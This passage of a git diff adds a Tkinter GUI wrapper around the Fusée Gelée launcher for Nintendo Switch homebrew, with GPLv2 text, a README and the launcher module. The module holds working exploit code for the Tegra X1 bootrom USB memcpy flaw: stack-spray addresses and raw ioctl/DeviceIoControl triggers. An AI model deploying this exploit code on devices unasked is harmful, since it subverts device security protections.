diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8265b15 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.vscode/ +__pycache__/ +dist/ +build/ +app.spec \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/README.md b/README.md index d8197c0..c9ff031 100644 --- a/README.md +++ b/README.md @@ -1 +1,49 @@ -fusee-interfacee-tk +![A cute rocket in outerspace!](icon.png) +# Fusée Launcher Interfacée (Nintendo Homebrew Version) +A very simple GUI for applying [Team {Re}Switched Fusée Launcher script](https://github.com/reswitched/fusee-launcher) onto your Nintendo Switch. + + +## Disclaimer +* As always, use at your own discretion. I take no reponsibility for any damages caused to your device. +* I'm assuming you understand how the exploit is done and the setup needed, this README is to help you run this specific app. +* Although Fusée is able to exploit any Tegra X1 device, this app is designed to work with Nintendo Switches only. +* The Fusée Launcher script included in this project is slightly modified to be used as a module. +* Binaries built and tested on Ubuntu 17.10 and Windows 10 in a 64 bit machine. If your platform is older you probably won't be able to run the executables. + + +## Running this app +You can run this app as a simple python script or by executing the binary file for your platform. + +### Running as a script +* Have latest [python 3](https://www.python.org/downloads/) and [pyusb](https://github.com/pyusb/pyusb) installed. +* __On Windows__ have [libusbk](http://libusbk.sourceforge.net/UsbK3/index.html) as the device driver. +* __On Linux__ have libusb1 installed (you probably already have). +* Download/clone this repo and simply run `app.py` like you would any python script. + + +### Running the binary file +### Linux +* You need to have `libc ver. 2.61` or higher (if you use a modern distro you probably already have). +* Download the linux binary from the [releases page](https://github.com/falquinho/fusee-interfacee-tk/releases) and run it. It *should* simply work. + +### Windows +* Download the Windows binary from the [releases page](https://github.com/falquinho/fusee-interfacee-tk/releases) and run it. It *should* simply work. + +## Using Fusée Launcher Interfacée +The app is very simple, it should be very intuitive to use: + +![App looking for a device.](https://image.ibb.co/n1CEv8/fusee_interfacee_ss0.png) ![App found a device and is ready!](https://image.ibb.co/ep6ra8/fusee_interfacee_ss1.png) +* Click the `Select Payload` button to browse your files and select the desired payload. +* Connect your Switch in RCM mode to the computer. The progress bar will stop and fill up when the device is detected. +* When the `Launch Fusée!` button activate simply click it. + + +## Freezing +If the binary executable won't run in your machine you can build it yourself. The tool I used was [pyinstaller](https://www.pyinstaller.org/). + +### A note on freezing on Linux: +If you want to freeze using `pyinstaller` on linux there's a bug on the pip version of it that prevents the `libusb` to +be bundled. You need to donwload [the develop branch of pyinstaller](https://github.com/pyinstaller/pyinstaller/tree/develop) and use it as a script. + +## Special Thanks +### To the Team {Re}Switched and contributors. You are awesome. Thanks for your hard work. diff --git a/app.py b/app.py new file mode 100644 index 0000000..889815e --- /dev/null +++ b/app.py @@ -0,0 +1,130 @@ +import sys +import os +import tkinter as tk +import tkinter.ttk as ttk +from tkinter.filedialog import askopenfilename +import fusee_launcher as fusee +import mock_arguments + + + +class App(tk.Frame): + + def __init__(self, master=None): + tk.Frame.__init__(self, master) + self.grid() + self.build_widgets() + + self.payload_path = '' + self.device_found = False + self.lbl_length = 22 + self.usb_backend = fusee.HaxBackend.create_appropriate_backend() + + root = self.winfo_toplevel() + root.update() + root.resizable(0, 0) + + self.do_update() + + + + def build_widgets(self): + style = ttk.Style() + style.configure('Horizontal.TProgressbar', background='#5eba21') + self.progress = ttk.Progressbar(self, mode='indeterminate', maximum=50) + self.progress.grid(row=0, columnspan=2, sticky=tk.W+tk.E) + self.progress.start(30) + + self.lbl_look = ttk.Label(self, text="Looking for Device...") + self.lbl_look.grid(row=1, column=0, columnspan=2, pady=8) + + self.btn_open = ttk.Button(self, text="Select Payload", command=self.btn_open_pressed) + self.btn_open.grid(row=2, column=0, padx=8) + + self.lbl_file = ttk.Label(self, text="No Payload Selected. ", justify=tk.LEFT) + self.lbl_file.grid(row=2, column=1, padx=8) + + self.btn_send = ttk.Button(self, text="Send Payload!", command=self.btn_send_pressed) + self.btn_send.grid(row=3, column=0, columnspan=2, sticky=tk.W+tk.E, pady=8, padx=8) + self.btn_send.state(('disabled',)) # trailing comma to define single element tuple + + self.btn_mountusb = ttk.Button(self, text="Mount SD on PC", command=self.btn_mountusb_pressed) + self.btn_mountusb.grid(row=4, column=0, columnspan=2, sticky=tk.W+tk.E, pady=8, padx=8) + self.btn_mountusb.state(('disabled',)) # trailing comma to define single element tuple + + + def do_update(self): + device = self.usb_backend.find_device(0x0955, 0x7321) + if device and not self.device_found: + self.device_found = True + self.lbl_look.configure(text='Device found!') + self.progress.stop() + self.progress.configure(mode='determinate', maximum=1000) + self.progress.step(999) + + elif not device and self.device_found: + self.device_found = False + self.lbl_look.configure(text='Looking for device...') + self.progress.configure(mode='indeterminate', maximum=50) + self.progress.start(30) + + self.validate_form() + self.after(333, self.do_update) + + + + def btn_open_pressed(self): + path = askopenfilename(filetypes=[('Binary', '*.bin')], title='Select Payload') + if path: + excess = len(path)-self.lbl_length + self.payload_path = path + self.lbl_file.configure(text='..'+path[max(0, excess):]) + + self.validate_form() + + + + def btn_send_pressed(self): + args = mock_arguments.MockArguments() + args.payload = self.payload_path + args.relocator = self.build_relocator_path() + fusee.do_hax(args) + + + def btn_mountusb_pressed(self): + args = mock_arguments.MockArguments() + args.payload = self.build_mountusb_path() + args.relocator = self.build_relocator_path() + fusee.do_hax(args) + + + def validate_form(self): + if self.payload_path and self.device_found: + self.btn_send.state(('!disabled',)) + self.btn_mountusb.state(('!disabled',)) + elif self.device_found: + self.btn_mountusb.state(('!disabled',)) + else: + self.btn_send.state(('disabled',)) + self.btn_mountusb.state(('disabled',)) + + + def build_mountusb_path(self): + try: + path = sys._MEIPASS + except Exception: + path = os.path.abspath('.') + + return os.path.join(path, 'memloader.bin') + + def build_relocator_path(self): + try: + path = sys._MEIPASS + except Exception: + path = os.path.abspath('.') + + return os.path.join(path, 'intermezzo.bin') + +my_app = App() +my_app.master.title('Payload Injector') +my_app.mainloop() \ No newline at end of file diff --git a/fusee_launcher.py b/fusee_launcher.py new file mode 100644 index 0000000..7dc0710 --- /dev/null +++ b/fusee_launcher.py @@ -0,0 +1,703 @@ +#!/usr/bin/env python3 +# +# fusée gelée +# +# Launcher for the {re}switched coldboot/bootrom hacks-- +# launches payloads above the Horizon +# +# discovery and implementation by @ktemkin +# likely independently discovered by lots of others <3 +# +# this code is political -- it stands with those who fight for LGBT rights +# don't like it? suck it up, or find your own damned exploit ^-^ +# +# special thanks to: +# ScirèsM, motezazer -- guidance and support +# hedgeberg, andeor -- dumping the Jetson bootROM +# TuxSH -- for IDB notes that were nice to peek at +# +# much love to: +# Aurora Wright, Qyriad, f916253, MassExplosion213, Schala, and Levi +# +# greetings to: +# shuffle2 + +# This file is part of Fusée Launcher +# Copyright (C) 2018 Mikaela Szekely +# Copyright (C) 2018 Kate Temkin +# Fusée Launcher is licensed under the terms of the GNU GPLv2 + +import os +import sys +import errno +import ctypes +import argparse +import platform + +# The address where the RCM payload is placed. +# This is fixed for most device. +RCM_PAYLOAD_ADDR = 0x40010000 + +# The address where the user payload is expected to begin. +PAYLOAD_START_ADDR = 0x40010E40 + +# Specify the range of addresses where we should inject oct +# payload address. +STACK_SPRAY_START = 0x40014E40 +STACK_SPRAY_END = 0x40017000 + +# notes: +# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982 +# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984 +# GET_STATUS to the ENDPOINT triggers memcpy from + +class HaxBackend: + """ + Base class for backends for the TegraRCM vuln. + """ + + # USB constants used + STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82 + STANDARD_REQUEST_DEVICE_TO_HOST = 0x80 + GET_DESCRIPTOR = 0x6 + GET_CONFIGURATION = 0x8 + + # Interface requests + GET_STATUS = 0x0 + + # List of OSs this class supports. + SUPPORTED_SYSTEMS = [] + + def __init__(self, skip_checks=False): + """ Sets up the backend for the given device. """ + self.skip_checks = skip_checks + + + def print_warnings(self): + """ Print any warnings necessary for the given backend. """ + pass + + + def trigger_vulnerability(self, length): + """ + Triggers the actual controlled memcpy. + The actual trigger needs to be executed carefully, as different host OSs + require us to ask for our invalid control request differently. + """ + raise NotImplementedError("Trying to use an abstract backend rather than an instance of the proper subclass!") + + + @classmethod + def supported(cls, system_override=None): + """ Returns true iff the given backend is supported on this platform. """ + + # If we have a SYSTEM_OVERRIDE, use it. + if system_override: + system = system_override + else: + system = platform.system() + + return system in cls.SUPPORTED_SYSTEMS + + + @classmethod + def create_appropriate_backend(cls, system_override=None, skip_checks=False): + """ Creates a backend object appropriate for the current OS. """ + + # Search for a supportive backend, and try to create one. + for subclass in cls.__subclasses__(): + if subclass.supported(system_override): + return subclass(skip_checks=skip_checks) + + # ... if we couldn't, bail out. + raise IOError("No backend to trigger the vulnerability-- it's likely we don't support your OS!") + + + def read(self, length): + """ Reads data from the RCM protocol endpoint. """ + return bytes(self.dev.read(0x81, length, 1000)) + + + def write_single_buffer(self, data): + """ + Writes a single RCM buffer, which should be 0x1000 long. + The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512). + If it's not, send a ZLP. + """ + return self.dev.write(0x01, data, 1000) + + + def find_device(self, vid=None, pid=None): + """ Set and return the device to be used """ + + import usb + + self.dev = usb.core.find(idVendor=vid, idProduct=pid) + return self.dev + + +class MacOSBackend(HaxBackend): + """ + Simple vulnerability trigger for macOS: we simply ask libusb to issue + the broken control request, and it'll do it for us. :) + + We also support platforms with a hacked libusb and FreeBSD. + """ + + BACKEND_NAME = "macOS" + SUPPORTED_SYSTEMS = ['Darwin', 'libusbhax', 'macos', 'FreeBSD'] + + def trigger_vulnerability(self, length): + + # Triggering the vulnerability is simplest on macOS; we simply issue the control request as-is. + return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length) + + + +class LinuxBackend(HaxBackend): + """ + More complex vulnerability trigger for Linux: we can't go through libusb, + as it limits control requests to a single page size, the limitation expressed + by the usbfs. More realistically, the usbfs seems fine with it, and we just + need to work around libusb. + """ + + BACKEND_NAME = "Linux" + SUPPORTED_SYSTEMS = ['Linux', 'linux'] + SUPPORTED_USB_CONTROLLERS = ['pci/drivers/xhci_hcd', 'platform/drivers/dwc_otg'] + + SETUP_PACKET_SIZE = 8 + + IOCTL_IOR = 0x80000000 + IOCTL_TYPE = ord('U') + IOCTL_NR_SUBMIT_URB = 10 + + URB_CONTROL_REQUEST = 2 + + class SubmitURBIoctl(ctypes.Structure): + _fields_ = [ + ('type', ctypes.c_ubyte), + ('endpoint', ctypes.c_ubyte), + ('status', ctypes.c_int), + ('flags', ctypes.c_uint), + ('buffer', ctypes.c_void_p), + ('buffer_length', ctypes.c_int), + ('actual_length', ctypes.c_int), + ('start_frame', ctypes.c_int), + ('stream_id', ctypes.c_uint), + ('error_count', ctypes.c_int), + ('signr', ctypes.c_uint), + ('usercontext', ctypes.c_void_p), + ] + + + def print_warnings(self): + """ Print any warnings necessary for the given backend. """ + print("\nImportant note: on desktop Linux systems, we currently require an XHCI host controller.") + print("A good way to ensure you're likely using an XHCI backend is to plug your") + print("device into a blue 'USB 3' port.\n") + + + def trigger_vulnerability(self, length): + """ + Submit the control request directly using the USBFS submit_urb + ioctl, which issues the control request directly. This allows us + to send our giant control request despite size limitations. + """ + + import os + import fcntl + + # We only work for devices that are bound to a compatible HCD. + self._validate_environment() + + # Figure out the USB device file we're going to use to issue the + # control request. + fd = os.open('/dev/bus/usb/{:0>3d}/{:0>3d}'.format(self.dev.bus, self.dev.address), os.O_RDWR) + + # Define the setup packet to be submitted. + setup_packet = \ + int.to_bytes(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, 1, byteorder='little') + \ + int.to_bytes(self.GET_STATUS, 1, byteorder='little') + \ + int.to_bytes(0, 2, byteorder='little') + \ + int.to_bytes(0, 2, byteorder='little') + \ + int.to_bytes(length, 2, byteorder='little') + + # Create a buffer to hold the result. + buffer_size = self.SETUP_PACKET_SIZE + length + buffer = ctypes.create_string_buffer(setup_packet, buffer_size) + + # Define the data structure used to issue the control request URB. + request = self.SubmitURBIoctl() + request.type = self.URB_CONTROL_REQUEST + request.endpoint = 0 + request.buffer = ctypes.addressof(buffer) + request.buffer_length = buffer_size + + # Manually submit an URB to the kernel, so it issues our 'evil' control request. + ioctl_number = (self.IOCTL_IOR | ctypes.sizeof(request) << 16 | ord('U') << 8 | self.IOCTL_NR_SUBMIT_URB) + fcntl.ioctl(fd, ioctl_number, request, True) + + # Close our newly created fd. + os.close(fd) + + # The other modules raise an IOError when the control request fails to complete. We don't fail out (as we don't bother + # reading back), so we'll simulate the same behavior as the others. + raise IOError("Raising an error to match the others!") + + + def _validate_environment(self): + """ + We can only inject giant control requests on devices that are backed + by certain usb controllers-- typically, the xhci_hcd on most PCs. + """ + + from glob import glob + + # If we're overriding checks, never fail out. + if self.skip_checks: + print("skipping checks") + return + + # Search each device bound to the xhci_hcd driver for the active device... + for hci_name in self.SUPPORTED_USB_CONTROLLERS: + for path in glob("/sys/bus/{}/*/usb*".format(hci_name)): + if self._node_matches_our_device(path): + return + + raise ValueError("This device needs to be on a supported backend. Usually that means plugged into a blue/USB 3.0 port!\nBailing out.") + + + def _node_matches_our_device(self, path): + """ + Checks to see if the given sysfs node matches our given device. + Can be used to check if an xhci_hcd controller subnode reflects a given device., + """ + + # If this isn't a valid USB device node, it's not what we're looking for. + if not os.path.isfile(path + "/busnum"): + return False + + # We assume that a whole _bus_ is associated with a host controller driver, so we + # only check for a matching bus ID. + if self.dev.bus != self._read_num_file(path + "/busnum"): + return False + + # If all of our checks passed, this is our device. + return True + + + def _read_num_file(self, path): + """ + Reads a numeric value from a sysfs file that contains only a number. + """ + + with open(path, 'r') as f: + raw = f.read() + return int(raw) + +class WindowsBackend(HaxBackend): + """ + Use libusbK for most of it, and use the handle libusbK gets for us to call kernel32's DeviceIoControl + """ + + BACKEND_NAME = "Windows" + SUPPORTED_SYSTEMS = ["Windows"] + + # Windows and libusbK specific constants + WINDOWS_FILE_DEVICE_UNKNOWN = 0x00000022 + LIBUSBK_FUNCTION_CODE_GET_STATUS = 0x807 + WINDOWS_METHOD_BUFFERED = 0 + WINDOWS_FILE_ANY_ACCESS = 0 + + RAW_REQUEST_STRUCT_SIZE = 24 # 24 is how big the struct is, just trust me + TO_ENDPOINT = 2 + + # Yoinked (with love) from Windows' CTL_CODE macro + def win_ctrl_code(self, DeviceType, Function, Method, Access): + """ Return a control code for use with DeviceIoControl() """ + return ((DeviceType) << 16 | ((Access) << 14) | ((Function)) << 2 | (Method)) + + def __init__(self, skip_checks): + import libusbK + self.libk = libusbK + # Grab libusbK + self.lib = ctypes.cdll.libusbK + + + def find_device(self, Vid, Pid): + """ + Windows version of this function + Its return isn't actually significant, but it needs to be not None + """ + + # Get a list of devices to use later + device_list = self.libk.KLST_HANDLE() + device_info = ctypes.pointer(self.libk.KLST_DEV_INFO()) + ret = self.lib.LstK_Init(ctypes.byref(device_list), 0) + + # Removed exception to not block app.-falquinho + if ret == 0: + print('Lstk_Init(): Error') + return None + + + # Get info for a device with that vendor ID and product ID + # device_info should either be a pointer or be passed 'byref' + # not both. I'll make it NOT a pointer.-falquinho + device_info = self.libk.KLST_DEV_INFO() + ret = self.lib.LstK_FindByVidPid(device_list, Vid, Pid, ctypes.byref(device_info)) + # LstK_Free parameter is NOT a pointer + self.lib.LstK_Free(device_list) + if device_info is None or ret == 0: + #print('device_info is None or ret == 0') + return None + + # Populate function pointers for use with the driver our device uses (which should be libusbK) + self.dev = self.libk.KUSB_DRIVER_API() + ret = self.lib.LibK_LoadDriverAPI(ctypes.byref(self.dev), device_info.contents.DriverID) + if ret == 0: + print('LibK_LoadDriverAPI(): Error') + return None + + # Initialize the driver for use with our device + self.handle = self.libk.KUSB_HANDLE(None) + # Passing device_info 'byref' + ret = self.dev.Init(ctypes.byref(self.handle), ctypes.byref(device_info)) + if ret == 0: + print('dev.Init(): Error') + return None + + return self.dev + + + def read(self, length): + """ Read using libusbK """ + # Create the buffer to store what we read + buffer = ctypes.create_string_buffer(length) + + len_transferred = ctypes.c_uint(0) + + # Call libusbK's ReadPipe using our specially-crafted function pointer and the opaque device handle + ret = self.dev.ReadPipe(self.handle, ctypes.c_ubyte(0x81), ctypes.addressof(buffer), ctypes.c_uint(length), ctypes.byref(len_transferred), None) + + if ret == 0: + raise ctypes.WinError() + + return buffer.raw + + def write_single_buffer(self, data): + """ Write using libusbK """ + # Copy construct to a bytearray so we Know™ what type it is + buffer = bytearray(data) + + # Convert wrap the data for use with ctypes + cbuffer = (ctypes.c_ubyte * len(buffer))(*buffer) + + len_transferred = ctypes.c_uint(0) + + # Call libusbK's WritePipe using our specially-crafted function pointer and the opaque device handle + ret = self.dev.WritePipe(self.handle, ctypes.c_ubyte(0x01), cbuffer, len(data), ctypes.byref(len_transferred), None) + if ret == 0: + raise ctypes.WinError() + + def ioctl(self, driver_handle: ctypes.c_void_p, ioctl_code: ctypes.c_ulong, input_bytes: ctypes.c_void_p, input_bytes_count: ctypes.c_size_t, output_bytes: ctypes.c_void_p, output_bytes_count: ctypes.c_size_t): + """ Wrapper for DeviceIoControl """ + overlapped = self.libk.OVERLAPPED() + ctypes.memset(ctypes.addressof(overlapped), 0, ctypes.sizeof(overlapped)) + + ret = ctypes.windll.kernel32.DeviceIoControl(driver_handle, ioctl_code, input_bytes, input_bytes_count, output_bytes, output_bytes_count, None, ctypes.byref(overlapped)) + + # We expect this to error, which matches the others ^_^ + if ret == False: + raise ctypes.WinError() + + def trigger_vulnerability(self, length): + """ + Go over libusbK's head and get the master handle it's been using internally + and perform a direct DeviceIoControl call to the kernel to skip the length check + """ + # self.handle is KUSB_HANDLE, cast to KUSB_HANDLE_INTERNAL to transparent-ize it + internal = ctypes.cast(self.handle, ctypes.POINTER(self.libk.KUSB_HANDLE_INTERNAL)) + + # Get the handle libusbK has been secretly using in its ioctl calls this whole time + master_handle = internal.contents.Device.contents.MasterDeviceHandle + + if master_handle is None or master_handle == self.libk.INVALID_HANDLE_VALUE: + raise ValueError("Failed to initialize master handle") + + # the raw request struct is pretty annoying, so I'm just going to allocate enough memory and set the few fields I need + raw_request = ctypes.create_string_buffer(self.RAW_REQUEST_STRUCT_SIZE) + + # set timeout to 